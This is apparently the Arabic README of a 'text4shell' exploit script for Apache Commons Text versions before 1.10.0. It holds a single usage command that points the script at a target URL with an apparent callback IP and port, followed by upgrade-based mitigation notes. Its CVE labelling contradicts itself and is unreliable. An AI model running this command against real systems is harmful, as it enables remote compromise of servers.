riskootext4shell

سكربت text4shell لـ text coomons < =1.10 CVE-2022-33980

• مكتبة Apache Commons Text هي مكتبة بديلة للوظائف الأصلية في JDK الخاص بـ Java.
• الإصدارات السابقة للإصدار 1.10.0 من Apache Commons
• مشابهة لـ CVE-2022-33980

python3 text4shell.py -u http://192.168.245.111:8080/search?query= -i 192.168.111.186 -p 22

التخفيف

الحل الرئيسي يتمثل في تحديث مكوّن Apache Commons Text بشكل عاجل إلى الإصدارات المتاحة التي تُصلح هذه الثغرة الأمنية. وتحديدًا، يجب التحديث إلى إصدار 1.10.0 أو أحدث من Apache Commons Text.

في هذا التحديث، تم اختيار تعطيل تلك الاستبدالات الإشكالية افتراضيًا. يتضمن ملف changelog الخاص بالمكتبة التغيير التالي:

اجعل عمليات البحث الافتراضية عن النصوص (string lookups) قابلة للتهيئة عبر خاصية النظام (system property). قم بإزالة عمليات بحث dns وurl وscript من الافتراضيات. إذا كانت هذه العمليات مطلوبة للاستخدام في StringSubstitutor.createInterpolator()، فيجب تمكينها عبر خاصية النظام. راجع StringLookupFactory للحصول على التفاصيل.

نشرت Apache بيانًا رسميًا يتضمن المعلومات الرسمية ومرجعًا إلى التحديث الذي يصحح المشكلة.